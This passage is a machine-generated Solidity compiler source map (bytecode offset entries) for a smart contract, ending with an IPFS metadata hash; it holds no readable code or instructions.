:4;;-1:-1:-1;;;;;11796:14:0;11813:11;11764:8;:61::i;:::-;11836:14;;11985:18;;11836:198;;-1:-1:-1;;;11836:198:0;;11907:4;11836:198;;;10760:34:1;10810:18;;;10803:34;;;11836:14:0;10853:18:1;;;10846:34;;;10896:18;;;10889:34;-1:-1:-1;;;;;11985:18:0;;;10939:19:1;;;10932:44;12018:15:0;10992:19:1;;;10985:35;11836:14:0;;;:30;;11874:9;;10694:19:1;;11836:198:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11683:359;;:::o;13108:237::-;13227:11;;13191:7;;-1:-1:-1;;;;;13227:11:0;;;13214:24;;;;13211:45;;-1:-1:-1;13247:7:0;;13240:14;;13211:45;13279:11;;-1:-1:-1;;;;;13279:11:0;;;13269:21;;;;13266:43;;-1:-1:-1;13299:8:0;;13292:15;;13266:43;-1:-1:-1;13326:11:0;;13108:237;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2507:592::-;2620:6;2628;2636;2644;2652;2660;2668;2721:3;2709:9;2700:7;2696:23;2692:33;2689:53;;;2738:1;2735;2728:12;2689:53;-1:-1:-1;;2761:23:1;;;2831:2;2816:18;;2803:32;;-1:-1:-1;2882:2:1;2867:18;;2854:32;;2933:2;2918:18;;2905:32;;-1:-1:-1;2984:3:1;2969:19;;2956:33;;-1:-1:-1;3036:3:1;3021:19;;3008:33;;-1:-1:-1;3088:3:1;3073:19;3060:33;;-1:-1:-1;2507:592:1;-1:-1:-1;2507:592:1:o;3104:388::-;3172:6;3180;3233:2;3221:9;3212:7;3208:23;3204:32;3201:52;;;3249:1;3246;3239:12;3201:52;3288:9;3275:23;3307:31;3332:5;3307:31;:::i;:::-;3357:5;-1:-1:-1;3414:2:1;3399:18;;3386:32;3427:33;3386:32;3427:33;:::i;:::-;3479:7;3469:17;;;3104:388;;;;;:::o;3497:316::-;3574:6;3582;3590;3643:2;3631:9;3622:7;3618:23;3614:32;3611:52;;;3659:1;3656;3649:12;3611:52;-1:-1:-1;;3682:23:1;;;3752:2;3737:18;;3724:32;;-1:-1:-1;3803:2:1;3788:18;;;3775:32;;3497:316;-1:-1:-1;3497:316:1:o;4078:329::-;4280:2;4262:21;;;4319:1;4299:18;;;4292:29;-1:-1:-1;;;4352:2:1;4337:18;;4330:36;4398:2;4383:18;;4078:329::o;6265:127::-;6326:10;6321:3;6317:20;6314:1;6307:31;6357:4;6354:1;6347:15;6381:4;6378:1;6371:15;6397:128;6464:9;;;6485:11;;;6482:37;;;6499:18;;:::i;8389:125::-;8454:9;;;8475:10;;;8472:36;;;8488:18;;:::i;8519:168::-;8592:9;;;8623;;8640:15;;;8634:22;;8620:37;8610:71;;8661:18;;:::i;8692:217::-;8732:1;8758;8748:132;;8802:10;8797:3;8793:20;8790:1;8783:31;8837:4;8834:1;8827:15;8865:4;8862:1;8855:15;8748:132;-1:-1:-1;8894:9:1;;8692:217::o;9046:127::-;9107:10;9102:3;9098:20;9095:1;9088:31;9138:4;9135:1;9128:15;9162:4;9159:1;9152:15;9178:251;9248:6;9301:2;9289:9;9280:7;9276:23;9272:32;9269:52;;;9317:1;9314;9307:12;9269:52;9349:9;9343:16;9368:31;9393:5;9368:31;:::i;9434:980::-;9696:4;9744:3;9733:9;9729:19;9775:6;9764:9;9757:25;9801:2;9839:6;9834:2;9823:9;9819:18;9812:34;9882:3;9877:2;9866:9;9862:18;9855:31;9906:6;9941;9935:13;9972:6;9964;9957:22;10010:3;9999:9;9995:19;9988:26;;10049:2;10041:6;10037:15;10023:29;;10070:1;10080:195;10094:6;10091:1;10088:13;10080:195;;;10159:13;;-1:-1:-1;;;;;10155:39:1;10143:52;;10250:15;;;;10215:12;;;;10191:1;10109:9;10080:195;;;-1:-1:-1;;;;;;;10331:32:1;;;;10326:2;10311:18;;10304:60;-1:-1:-1;;;10395:3:1;10380:19;10373:35;10292:3;9434:980;-1:-1:-1;;;9434:980:1:o;11031:306::-;11119:6;11127;11135;11188:2;11176:9;11167:7;11163:23;11159:32;11156:52;;;11204:1;11201;11194:12;11156:52;11233:9;11227:16;11217:26;;11283:2;11272:9;11268:18;11262:25;11252:35;;11327:2;11316:9;11312:18;11306:25;11296:35;;11031:306;;;;;:::o

ipfs://c66fe4ce3f158eb85b987b76b461e9bb857cffca9aabf5ff466a5c6de9475813